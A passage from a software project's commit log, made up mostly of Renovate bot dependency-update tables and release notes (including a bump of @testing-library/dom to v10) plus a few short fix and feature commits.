| [anyhow](https://redirect.github.com/dtolnay/anyhow) | `1.0.93` -> `1.0.94` | [![age](https://developer.mend.io/api/mc/badges/age/crate/anyhow/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/anyhow/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/anyhow/1.0.93/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/anyhow/1.0.93/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [c8](https://redirect.github.com/bcoe/c8) | [`10.1.2` -> `10.1.3`](https://renovatebot.com/diffs/npm/c8/10.1.2/10.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/c8/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/c8/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/c8/10.1.2/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/c8/10.1.2/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [chrono](https://redirect.github.com/chronotope/chrono) | `0.4.38` -> `0.4.39` | [![age](https://developer.mend.io/api/mc/badges/age/crate/chrono/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/chrono/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/chrono/0.4.38/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/chrono/0.4.38/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [debug](https://redirect.github.com/debug-js/debug) | [`4.3.7` -> `4.4.0`](https://renovatebot.com/diffs/npm/debug/4.3.7/4.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/debug/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/debug/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/debug/4.3.7/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/debug/4.3.7/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.6` -> `16.4.7`](https://renovatebot.com/diffs/npm/dotenv/16.4.6/16.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.6` -> `16.4.7`](https://renovatebot.com/diffs/npm/dotenv/16.4.6/16.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [electron-log](https://redirect.github.com/megahertz/electron-log) | [`5.2.3` -> `5.2.4`](https://renovatebot.com/diffs/npm/electron-log/5.2.3/5.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-log/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-log/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-log/5.2.3/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-log/5.2.3/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [foxact](https://foxact.skk.moe) ([source](https://redirect.github.com/SukkaW/foxact)) | [`0.2.42` -> `0.2.43`](https://renovatebot.com/diffs/npm/foxact/0.2.42/0.2.43) | [![age](https://developer.mend.io/api/mc/badges/age/npm/foxact/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/foxact/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/foxact/0.2.42/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/foxact/0.2.42/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`24.0.3` -> `24.1.0`](https://renovatebot.com/diffs/npm/i18next/24.0.3/24.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/24.0.3/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/24.0.3/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [jotai-effect](https://redirect.github.com/jotaijs/jotai-effect) | [`1.0.4` -> `1.0.5`](https://renovatebot.com/diffs/npm/jotai-effect/1.0.4/1.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai-effect/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai-effect/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai-effect/1.0.4/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai-effect/1.0.4/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [keyv](https://redirect.github.com/jaredwray/keyv) | [`5.2.1` -> `5.2.2`](https://renovatebot.com/diffs/npm/keyv/5.2.1/5.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/keyv/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/keyv/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/keyv/5.2.1/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/keyv/5.2.1/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lib0](https://redirect.github.com/dmonad/lib0) | [`0.2.98` -> `0.2.99`](https://renovatebot.com/diffs/npm/lib0/0.2.98/0.2.99) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lib0](https://redirect.github.com/dmonad/lib0) | [`0.2.98` -> `0.2.99`](https://renovatebot.com/diffs/npm/lib0/0.2.98/0.2.99) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [lint-staged](https://redirect.github.com/lint-staged/lint-staged) | [`15.2.10` -> `15.2.11`](https://renovatebot.com/diffs/npm/lint-staged/15.2.10/15.2.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lint-staged/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lint-staged/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lint-staged/15.2.10/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lint-staged/15.2.10/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.462.0` -> `^0.468.0`](https://renovatebot.com/diffs/npm/lucide-react/0.462.0/0.468.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.462.0/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.462.0/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [msw](https://mswjs.io) ([source](https://redirect.github.com/mswjs/msw)) | [`2.6.6` -> `2.6.8`](https://renovatebot.com/diffs/npm/msw/2.6.6/2.6.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/msw/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/msw/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/msw/2.6.6/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/msw/2.6.6/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.21` -> `3.0.0-alpha.23` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.21/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.21/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.20` -> `3.0.0-alpha.21` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [next-themes](https://redirect.github.com/pacocoursey/next-themes) | [`0.4.3` -> `0.4.4`](https://renovatebot.com/diffs/npm/next-themes/0.4.3/0.4.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/next-themes/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/next-themes/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/next-themes/0.4.3/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/next-themes/0.4.3/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [nx](https://nx.dev) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx)) | [`20.1.4` -> `20.2.2`](https://renovatebot.com/diffs/npm/nx/20.1.4/20.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nx/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nx/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nx/20.1.4/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nx/20.1.4/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.74.0` -> `4.76.1`](https://renovatebot.com/diffs/npm/openai/4.74.0/4.76.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.74.0/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.74.0/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`4.7.0` -> `4.8.0`](https://renovatebot.com/diffs/npm/piscina/4.7.0/4.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/piscina/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/piscina/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/piscina/4.7.0/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/piscina/4.7.0/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [playwright](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.0` -> `=1.49.1`](https://renovatebot.com/diffs/npm/playwright/1.49.0/1.49.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/playwright/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/playwright/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/playwright/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/playwright/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.1` -> `3.4.2`](https://renovatebot.com/diffs/npm/prettier/3.4.1/3.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.1/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.1/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.1` -> `9.4.3`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.1/9.4.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.1/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.1/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.53.2` -> `7.54.0`](https://renovatebot.com/diffs/npm/react-hook-form/7.53.2/7.54.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.53.2/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.53.2/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.3` -> `15.1.4`](https://renovatebot.com/diffs/npm/react-i18next/15.1.3/15.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.3/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.3/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-refresh](https://react.dev/) ([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react)) | [`^0.14.2` -> `^0.16.0`](https://renovatebot.com/diffs/npm/react-refresh/0.14.2/0.16.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-refresh/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-refresh/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-refresh/0.14.2/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-refresh/0.14.2/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [serde](https://serde.rs) ([source](https://redirect.github.com/serde-rs/serde)) | `1.0.215` -> `1.0.216` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde/1.0.215/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde/1.0.215/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shadcn-ui](https://redirect.github.com/shadcn/ui) ([source](https://redirect.github.com/shadcn/ui/tree/HEAD/packages/cli)) | [`0.9.3` -> `0.9.4`](https://renovatebot.com/diffs/npm/shadcn-ui/0.9.3/0.9.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shadcn-ui/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shadcn-ui/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shadcn-ui/0.9.3/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shadcn-ui/0.9.3/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [sonner](https://sonner.emilkowal.ski/) ([source](https://redirect.github.com/emilkowalski/sonner)) | [`1.7.0` -> `1.7.1`](https://renovatebot.com/diffs/npm/sonner/1.7.0/1.7.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/sonner/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/sonner/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/sonner/1.7.0/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sonner/1.7.0/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss)) | [`3.4.15` -> `3.4.16`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.15/3.4.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.15/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.15/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tokio](https://tokio.rs) ([source](https://redirect.github.com/tokio-rs/tokio)) | `1.41.1` -> `1.42.0` | [![age](https://developer.mend.io/api/mc/badges/age/crate/tokio/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/tokio/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/tokio/1.41.1/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/tokio/1.41.1/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.2` -> `0.27.4`](https://renovatebot.com/diffs/npm/typedoc/0.27.2/0.27.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.2/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.2/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.0.0` -> `7.1.0`](https://renovatebot.com/diffs/npm/undici/7.0.0/7.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.1.0?slim=tr
2024-12-12 15:45:43 +00:00
darkskygit 76f2c31e46 fix(core): gql file upload (#9134) 2024-12-12 14:38:09 +00:00
pengx17 152a406ced fix(core): center peek style (#9127)
fix PD-1912
2024-12-12 12:33:30 +00:00
DarkSky ab1ad65858 feat(server): adapt normal workspace's invite link behavior (#9130) 2024-12-12 20:32:32 +08:00
renovate e15a298b80 chore: bump up @testing-library/dom version to v10 (#9128)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@testing-library/dom](https://redirect.github.com/testing-library/dom-testing-library) | [`^9.3.4` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@testing-library%2fdom/9.3.4/10.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2fdom/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2fdom/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2fdom/9.3.4/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2fdom/9.3.4/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>testing-library/dom-testing-library (@&#8203;testing-library/dom)</summary>

### [`v10.4.0`](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.2...a86c54ccda5242ad8dfc1c70d31980bdbf96af7f)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.2...v10.4.0)

### [`v10.3.2`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.3.2)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.1...v10.3.2)

##### Bug Fixes

-   safer read of DEBUG_PRINT_LIMIT ([#&#8203;1329](https://redirect.github.com/testing-library/dom-testing-library/issues/1329)) ([306526b](https://redirect.github.com/testing-library/dom-testing-library/commit/306526b5519abcaed84ef35f82501a1691edcd0e))

### [`v10.3.1`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.3.1)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.0...v10.3.1)

##### Bug Fixes

-   Revert "feat: Reduce caught exceptions in `prettyDom` ([#&#8203;1321](https://redirect.github.com/testing-library/dom-testing-library/issues/1321))" ([#&#8203;1325](https://redirect.github.com/testing-library/dom-testing-library/issues/1325)) ([fdc12ec](https://redirect.github.com/testing-library/dom-testing-library/commit/fdc12ecf4343ab6b08a898d9b3ff0013981849c8))

### [`v10.3.0`](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.2.0...76cb73dec444fca7ae3d160b4dad3b61f7bc8995)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.2.0...v10.3.0)

### [`v10.2.0`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.2.0)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.1.0...v10.2.0)

##### Features

-   Support anonymous custom elements when pretty printing DOM ([#&#8203;1319](https://redirect.github.com/testing-library/dom-testing-library/issues/1319)) ([0a8ad65](https://redirect.github.com/testing-library/dom-testing-library/commit/0a8ad65723efe47493d387c38f31082c7846d824))

### [`v10.1.0`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.1.0)

